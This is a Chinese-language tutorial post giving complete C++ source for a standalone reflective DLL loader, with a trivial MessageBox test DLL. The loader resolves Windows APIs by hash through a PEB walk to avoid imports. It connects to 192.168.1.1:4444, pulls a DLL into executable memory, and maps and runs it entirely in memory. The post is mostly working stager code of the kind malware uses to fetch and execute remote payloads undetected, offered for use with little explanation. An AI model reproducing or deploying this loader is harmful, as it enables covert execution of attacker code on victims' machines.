2-新新版RDI

这一版的RDI独立于dll,可以单独编译成exe文件执行,主要的优化点如下

  1. 通过正向tcp连接服务器,申请一个缓冲区,将test.dll下载到这个缓冲区中。将缓冲区的地址作为参数传递到ReflectiveLoader函数。

  2. 不再需要inject代码,独立于dll,方便我们调式相关ReflectiveLoader代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <windows.h>
#include <stdbool.h>
#include <winternl.h>
#include <winsock2.h>
#include <stdio.h>
typedef struct
{
    WORD	offset : 12;
    WORD	type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;

#define RVA(type, base, rva) (type)((ULONG_PTR) base + rva)
#define Kernel32_GetProcAddress 0xe658b905
#define Kernel32_LoadLibraryA 0x56590ae9
#define Kernel32_VirtualAlloc 0xfbfa86af
#define Kernel32_VirtualProtect 0xe3918276
#define Kernel32_GetNativeSystemInfo 0x4775dcb8

static inline size_t
AlignValueUp(size_t value, size_t alignment) {
    return (value + alignment - 1) & ~(alignment - 1);
}

// rot hash 算法
#define ROTR32(value, shift)	(((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))

// 自定义LDR_DATA_TABLE_ENTRY 数据结构
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;


FARPROC GetApiAddressByHash(DWORD dwModuleFunctionHash) {

    DWORD dwModuleHash;
    DWORD dwFunctionHash;
    WORD Modulelenth;
    WCHAR* ModuleName;
    DWORD dwExportDirRVA;
    LPVOID lpModuleBase;
    PCSTR pTempChar;
    PIMAGE_NT_HEADERS pNtHeaders;
    PMY_LDR_DATA_TABLE_ENTRY pEntry;

    // 从获取 PEB 地址
    PPEB pPEB = (PPEB)__readgsqword(0x60);

    // 获取 PEB.Ldr
    PPEB_LDR_DATA pLdr = pPEB->Ldr;

    // 遍历模块列表
    PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;  //本进程
    PLIST_ENTRY pCurrentEntry = pListHead->Flink;           // 第一个模块
    pEntry = (PMY_LDR_DATA_TABLE_ENTRY)CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

    while (pEntry->DllBase != NULL) {

        lpModuleBase = pEntry->DllBase;
        dwModuleHash = 0;
        Modulelenth = pEntry->BaseDllName.Length;
        ModuleName = pEntry->BaseDllName.Buffer;

        // 分析 PE 文件找到导出表
        pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)lpModuleBase + ((PIMAGE_DOS_HEADER)lpModuleBase)->e_lfanew);

        // 获取导出表RVA
        dwExportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

        // Get the next loaded module entry
        pEntry = (PMY_LDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink;

        // 如果导出表RVA为0,则跳转到下一个循环
        if (dwExportDirRVA == 0) {
            continue;
        }

        for (DWORD i = 0; i < Modulelenth; i++) {

            // 取字符
            pTempChar = ((PCSTR)ModuleName + i);
            dwModuleHash = ROTR32(dwModuleHash, 13);

            // 如果为小写字母,则转成大写字母
            if (*pTempChar >= 0x61) {
                dwModuleHash += *pTempChar - 0x20;
            }
            else {
                dwModuleHash += *pTempChar;
            }
        }


        // 获取导出表的各个信息
        PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)lpModuleBase + dwExportDirRVA);
        PDWORD pFunctionNames = (PDWORD)((BYTE*)lpModuleBase + pExportDirectory->AddressOfNames);
        PDWORD pFunctionAddresses = (PDWORD)((BYTE*)lpModuleBase + pExportDirectory->AddressOfFunctions);
        PWORD pFunctionOrdinals = (PWORD)((BYTE*)lpModuleBase + pExportDirectory->AddressOfNameOrdinals);

        for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {

            dwFunctionHash = 0;
            PCSTR pFunctionName = (PCSTR)((BYTE*)lpModuleBase + pFunctionNames[i]);
            pTempChar = pFunctionName;

            while (*pTempChar != '\0') {
                dwFunctionHash = ROTR32(dwFunctionHash, 13);
                dwFunctionHash += *pTempChar;
                pTempChar++;
            }

            dwFunctionHash += dwModuleHash;
            if (dwFunctionHash == dwModuleFunctionHash) {
                return (FARPROC)((BYTE*)lpModuleBase + pFunctionAddresses[pFunctionOrdinals[i]]);
            }
        }
    }
    return NULL;
}

extern "C" __declspec(dllexport) BOOL ReflectiveLoader(ULONG_PTR uiLibraryAddress)
{

    /*---------------------第一步:暴力搜索DLL的基址---------------------------------*/

    /*
    // 获得ReflectiveLoader函数的地址,如果找到了DLL基址,则将其存储到uiLibraryAddress,pNtHeader就是NT头的地址
    ULONG_PTR uiLibraryAddress = (ULONG_PTR)ReflectiveLoader;
    ULONG_PTR uiHeaderValue = 0;
    PIMAGE_NT_HEADERS pNtHeader = 0;

    // 从ReflectiveLoader函数的地址往回退,直到找到DLL的基址
    while (TRUE)
    {
        // 验证是否为DOS头
        if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
        {
            // 验证是否为NT头
            uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
            if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
            {
                pNtHeader = (PIMAGE_NT_HEADERS)(uiHeaderValue + uiLibraryAddress);
                if (pNtHeader->Signature == IMAGE_NT_SIGNATURE)
                    break;
            }
        }
        uiLibraryAddress--;
    }

    if (!uiLibraryAddress)
        return FALSE;
    */
    PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)uiLibraryAddress;
    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(uiLibraryAddress + pDOSheader->e_lfanew);
    /*---------------------第二步:获取所需要的Windows API---------------------------*/

    // 定义API指针类型
    typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE hModule, LPCSTR  lpProcName);
    typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR lpLibFileName);
    typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD  flProtect);
    typedef BOOL(WINAPI* VIRTUALPROTECT)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);
    typedef void (WINAPI* GETNATIVESYSTEMINFO)(LPSYSTEM_INFO lpSystemInfo);

    // 声明API指针变量
    GETPROCADDR pGetProcAddress = NULL;
    LOADLIBRARYA pLoadLibraryA = NULL;
    VIRTUALALLOC pVirtualAlloc = NULL;
    VIRTUALPROTECT pVirtualProtect = NULL;
    GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL;

    // 获取API的地址,将其存储在API指针变量中
    pGetProcAddress = (GETPROCADDR)GetApiAddressByHash(Kernel32_GetProcAddress);
    pLoadLibraryA = (LOADLIBRARYA)GetApiAddressByHash(Kernel32_LoadLibraryA);
    pVirtualAlloc = (VIRTUALALLOC)GetApiAddressByHash(Kernel32_VirtualAlloc);
    pVirtualProtect = (VIRTUALPROTECT)GetApiAddressByHash(Kernel32_VirtualProtect);
    pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetApiAddressByHash(Kernel32_GetNativeSystemInfo);

    if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc || !pVirtualProtect || !pGetNativeSystemInfo)
    {
        return FALSE;
    }

    /*---------------------第三步:加载 PE 文件节到内存---------------------*/

    // 节表遍历与结束地址计算​
    PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(pNtHeader);
    DWORD lastSectionEnd = 0;
    DWORD endOfSection;
    SYSTEM_INFO sysInfo;
    DWORD alignedImageSize;
    for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++, sectionHeader++) {
        if (sectionHeader->SizeOfRawData == 0) {
            endOfSection = sectionHeader->VirtualAddress + pNtHeader->OptionalHeader.SectionAlignment;
        }
        else {
            endOfSection = sectionHeader->VirtualAddress + sectionHeader->SizeOfRawData;
        }

        if (endOfSection > lastSectionEnd) {
            lastSectionEnd = endOfSection;
        }
    }

    // 内存页对齐​
    pGetNativeSystemInfo(&sysInfo);
    alignedImageSize = (DWORD)AlignValueUp(pNtHeader->OptionalHeader.SizeOfImage, sysInfo.dwPageSize);
    if (alignedImageSize != AlignValueUp(lastSectionEnd, sysInfo.dwPageSize)) {
        return 0;
    }


    // 尝试按PE声明的ImageBase分配内存
    ULONG_PTR BaseAddress = (ULONG_PTR)pVirtualAlloc(
        (LPVOID)(pNtHeader->OptionalHeader.ImageBase),
        alignedImageSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE
    );

    // 失败后由系统决定基址
    if (BaseAddress == 0) {
        BaseAddress = (ULONG_PTR)pVirtualAlloc(
            NULL,
            alignedImageSize,
            MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE
        );
    }


    // 复制PE头到目标内存
    for (int i = 0; i < pNtHeader->OptionalHeader.SizeOfHeaders; i++) {
        ((PBYTE)BaseAddress)[i] = ((PBYTE)uiLibraryAddress)[i];
    }

    // 新定位NT头指针
    pNtHeader = RVA(PIMAGE_NT_HEADERS, BaseAddress, ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew);


    // 复制各节到内存
    sectionHeader = IMAGE_FIRST_SECTION(pNtHeader);

    for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++, sectionHeader++) {
        for (int c = 0; c < sectionHeader->SizeOfRawData; c++) {
            ((PBYTE)(BaseAddress + sectionHeader->VirtualAddress))[c] = ((PBYTE)(uiLibraryAddress + sectionHeader->PointerToRawData))[c];
        }
    }


    /*---------------------第五步:修复重定位表----------------------*/

    ULONG_PTR baseOffset = BaseAddress - pNtHeader->OptionalHeader.ImageBase;
    PIMAGE_DATA_DIRECTORY dataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    PIMAGE_BASE_RELOCATION relocation;
    PIMAGE_RELOC relocList;
    if (dataDir->Size) {

        PIMAGE_BASE_RELOCATION relocation = RVA(PIMAGE_BASE_RELOCATION, BaseAddress, dataDir->VirtualAddress);

        while (relocation->VirtualAddress) {
            relocList = (PIMAGE_RELOC)(relocation + 1);

            while ((PBYTE)relocList != (PBYTE)relocation + relocation->SizeOfBlock) {

                if (relocList->type == IMAGE_REL_BASED_DIR64)
                    *(PULONG_PTR)((PBYTE)BaseAddress + relocation->VirtualAddress + relocList->offset) += baseOffset;
                else if (relocList->type == IMAGE_REL_BASED_HIGHLOW)
                    *(PULONG_PTR)((PBYTE)BaseAddress + relocation->VirtualAddress + relocList->offset) += (DWORD)baseOffset;
                else if (relocList->type == IMAGE_REL_BASED_HIGH)
                    *(PULONG_PTR)((PBYTE)BaseAddress + relocation->VirtualAddress + relocList->offset) += HIWORD(baseOffset);
                else if (relocList->type == IMAGE_REL_BASED_LOW)
                    *(PULONG_PTR)((PBYTE)BaseAddress + relocation->VirtualAddress + relocList->offset) += LOWORD(baseOffset);

                relocList++;
            }
            relocation = (PIMAGE_BASE_RELOCATION)relocList;
        }
    }


    /*---------------------第六步:修复导入表---------------------*/
    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + BaseAddress);
    //这个是IID的指针
    if (pImport != NULL)
    {
        while (pImport->Name != NULL)
        {
            char DLLname[100] = { 0 }; // 定义一个存储 DLL 名称的缓冲区
            char* uiLibraryAddressName = (char*)(pImport->Name + BaseAddress); // 获取 DLL 名称的地址

            // 手动将名称拷贝到 DLLname 缓冲区
            for (int i = 0; i < sizeof(DLLname) - 1; i++)
            {
                if (uiLibraryAddressName[i] == '\0') // 遇到字符串结束符时停止
                    break;
                DLLname[i] = uiLibraryAddressName[i]; // 拷贝字符
            }
            DLLname[sizeof(DLLname) - 1] = '\0'; // 确保缓冲区以 '\0' 结尾

            //通过名称找句柄
            HMODULE hProcess = pLoadLibraryA(DLLname);
            if (!hProcess)
            {
                return FALSE;
            }

            PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + BaseAddress);// 导入名称表
            PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + BaseAddress); // 导入地址表
            while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL)
            {
                //根据IAT中存放信息,我们可以选择序号导入还是名称导入               
                if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)//判断如果是序号就是第一种处理方式
                {
                    //通过序号来获取地址
                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));
                }
                else
                {
                    //通过函数名来获取地址
                    PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + BaseAddress);
                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name));
                }
                pINT++;
                pIAT++;
            }
            pImport++;
        }
    }

    /*---------------------第七步:修改各节的内存保护属性--------------------*/
    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeader);
    DWORD executable, readable, writeable;
    DWORD dwProtect, dwOldProtect;
    for (DWORD i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++, pSectionHeader++) {

        if (pSectionHeader->SizeOfRawData) {

            // 获取当前节的保护属性
            executable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
            readable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
            writeable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;

            if (!executable && !readable && !writeable)
                dwProtect = PAGE_NOACCESS;                          // 不可访问
            else if (!executable && !readable && writeable)
                dwProtect = PAGE_WRITECOPY;                         // 写入时复制
            else if (!executable && readable && !writeable)
                dwProtect = PAGE_READONLY;                          // 只读
            else if (!executable && readable && writeable)
                dwProtect = PAGE_READWRITE;                         // 读写
            else if (executable && !readable && !writeable)
                dwProtect = PAGE_EXECUTE;                           // 仅执行
            else if (executable && !readable && writeable)
                dwProtect = PAGE_EXECUTE_WRITECOPY;                 // 可执行+写入时复制
            else if (executable && readable && !writeable)
                dwProtect = PAGE_EXECUTE_READ;                      // 可执行+只读
            else if (executable && readable && writeable)
                dwProtect = PAGE_EXECUTE_READWRITE;                 // 完全权限,即可读可写可执行

            // 处理非缓存属性
            if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
                dwProtect |= PAGE_NOCACHE;
            }

            // 修改当前节的内存保护属性
            pVirtualProtect(
                (LPVOID)(BaseAddress + pSectionHeader->VirtualAddress),
                pSectionHeader->SizeOfRawData,
                dwProtect, &dwOldProtect
            );
        }

    }

    /*---------------------第八步:执行TLS回调---------------------*/

    // 获取数据目录表中TLS项的地址
    dataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
    PIMAGE_TLS_DIRECTORY tlsDir;
    PIMAGE_TLS_CALLBACK* callback;
    if (dataDir->Size)
    {
        // 将TLS目录的RVA转换为内存地址
        tlsDir = RVA(PIMAGE_TLS_DIRECTORY, BaseAddress, dataDir->VirtualAddress);

        // 获取回调函数地址数组的起始位置
        callback = (PIMAGE_TLS_CALLBACK*)(tlsDir->AddressOfCallBacks);

        // 遍历回调函数数组
        for (; *callback; callback++) {

            // 调用回调函数,传递进程附加事件(DLL_PROCESS_ATTACH)
            (*callback)((LPVOID)BaseAddress, DLL_PROCESS_ATTACH, NULL);
        }
    }

    /*---------------------第九步:获取dllmain的地址,执行dllmain---------------------*/

    // 获取映射后的DLL的NT头
    PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(BaseAddress + pDOSheader->e_lfanew);

    typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
    // 获取DLL的入口点,一般为DllMain
    DLLMAIN dllentry = (DLLMAIN)((LPBYTE)BaseAddress + pNT->OptionalHeader.AddressOfEntryPoint);

    // 执行DllMain函数
    dllentry((HINSTANCE)BaseAddress, 1, 0);
    return TRUE;
}


#define MEM_SIZE 4 * 1024 * 1024  // 4MB
#define CHUNK_SIZE 8192

// 函数指针类型定义
typedef LPVOID(WINAPI* VirtualAlloc_t)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
    );

typedef int (WINAPI* recv_t)(
    SOCKET s,
    char* buf,
    int    len,
    int    flags
    );

int main() {
    // 初始化变量
    WSADATA wsaData;
    SOCKET sock = INVALID_SOCKET;
    LPVOID pMemory = NULL;
    char* currentPos = NULL;
    int bytesReceived = 0;
    int totalReceived = 0;

    // 1. 初始化Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        printf("WSAStartup failed: %d\n", WSAGetLastError());
        return 1;
    }

    // 2. 分配内存(包含错误处理)
    pMemory = VirtualAlloc(
        NULL,
        MEM_SIZE,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (!pMemory) {
        printf("VirtualAlloc failed: %d\n", GetLastError());
        WSACleanup();
        return 1;
    }

    currentPos = (char*)pMemory;

    // 3. 创建Socket并连接(示例参数)
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == INVALID_SOCKET) {
        printf("Socket creation failed: %d\n", WSAGetLastError());
        VirtualFree(pMemory, 0, MEM_RELEASE);
        WSACleanup();
        return 1;
    }

    struct sockaddr_in serverAddr;
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_addr.s_addr = inet_addr("192.168.1.1"); // 目标IP
    serverAddr.sin_port = htons(4444);                       // 目标端口

    if (connect(sock, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
        printf("Connection failed: %d\n", WSAGetLastError());
        closesocket(sock);
        VirtualFree(pMemory, 0, MEM_RELEASE);
        WSACleanup();
        return 1;
    }

    // 4. 接收循环(带溢出保护)
    do {
        bytesReceived = recv(
            sock,
            currentPos,
            (MEM_SIZE - totalReceived > CHUNK_SIZE) ? CHUNK_SIZE : (MEM_SIZE - totalReceived),
            0
        );

        if (bytesReceived > 0) {
            currentPos += bytesReceived;
            totalReceived += bytesReceived;
        }
        else if (bytesReceived == 0) {
            printf("Connection closed gracefully\n");
            break;
        }
        else {
            printf("recv failed: %d\n", WSAGetLastError());
            break;
        }
    } while (totalReceived < MEM_SIZE);

    ReflectiveLoader((ULONG_PTR)pMemory);
    return 1;
}

test.dll代码如下

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <windows.h>
#include <stdbool.h>
#include <winternl.h>
#include <winsock2.h>
#include <stdio.h>
typedef struct
{
    WORD	offset : 12;
    WORD	type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;

#define RVA(type, base, rva) (type)((ULONG_PTR) base + rva)
#define Kernel32_GetProcAddress 0xe658b905
#define Kernel32_LoadLibraryA 0x56590ae9
#define Kernel32_VirtualAlloc 0xfbfa86af
#define Kernel32_VirtualProtect 0xe3918276
#define Kernel32_GetNativeSystemInfo 0x4775dcb8

static inline size_t
AlignValueUp(size_t value, size_t alignment) {
    return (value + alignment - 1) & ~(alignment - 1);
}

// rot hash 算法
#define ROTR32(value, shift)	(((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL, "DLLMain!", "We've started.", 0);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    MessageBoxA(NULL, "DLLMain!", "We've started.", 0);
    return TRUE;
}